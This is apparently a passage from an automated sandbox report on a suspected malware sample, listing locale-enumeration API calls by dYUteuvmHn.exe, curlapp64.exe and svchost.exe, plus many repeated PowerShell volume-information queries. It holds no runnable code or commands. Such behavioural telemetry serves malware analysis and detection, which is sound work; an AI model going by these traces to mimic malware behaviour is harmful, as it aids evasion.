Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF712789C04
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	0_2_00007FF712781C04
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: EnumSystemLocalesEx,	0_2_00007FF712781B34
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: EnumSystemLocalesW,	0_2_00007FF712789508
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF7127891A4
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF712789A0C
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: GetLocaleInfoW,	0_2_00007FF712789AC0
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: GetLocaleInfoW,	0_2_00007FF7127898B4
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: EnumSystemLocalesW,	0_2_00007FF712781890
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: EnumSystemLocalesW,	0_2_00007FF7127895D8
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF712789670
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	5_2_00007FF6CABF8268
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: EnumSystemLocalesW,	5_2_00007FF6CABF7B8C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: GetLocaleInfoW,	5_2_00007FF6CAC00CF8
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: EnumSystemLocalesW,	5_2_00007FF6CAC00A1C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: EnumSystemLocalesW,	5_2_00007FF6CAC0094C
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00007FF6CAC00AB4
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_00007FF6CAC01048
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: EnumSystemLocalesEx,	5_2_00007FF6CABF7E30
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: GetLocaleInfoW,	5_2_00007FF6CAC00F04
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	5_2_00007FF6CABF7F00
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00007FF6CAC00E50
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	5_2_00007FF6CAC005E8
Source: C:\Windows\System32\svchost.exe	Code function: strtoul,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,strncmp,	55_2_682864E0
Source: C:\Windows\System32\svchost.exe	Code function: strchr,pthread_mutex_lock,strcmp,strncpy,EnumSystemLocalesA,pthread_mutex_unlock,strcpy,pthread_mutex_unlock,abort,	55_2_68287D70
Source: C:\Windows\System32\svchost.exe	Code function: getenv,GetLocaleInfoA,	55_2_68286680
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	55_2_00007FF8A7D5708C
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	55_2_00007FF8A7D65894
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	55_2_00007FF8A7D6569C
Source: C:\Windows\System32\svchost.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	55_2_00007FF8A7D64E34
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	55_2_00007FF8A7D5756C
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesEx,	55_2_00007FF8A7D5749C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,FormatMessageA,	55_2_00007FF8A7D3AB38
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	55_2_00007FF8A7D65268
Source: C:\Windows\System32\svchost.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	55_2_00007FF8A7D579C8
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	55_2_00007FF8A7D65198
Source: C:\Windows\System32\svchost.exe	Code function: memset,MultiByteToWideChar,GetLocaleInfoEx,malloc,malloc,strspn,	55_2_00007FF8B90D4B70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
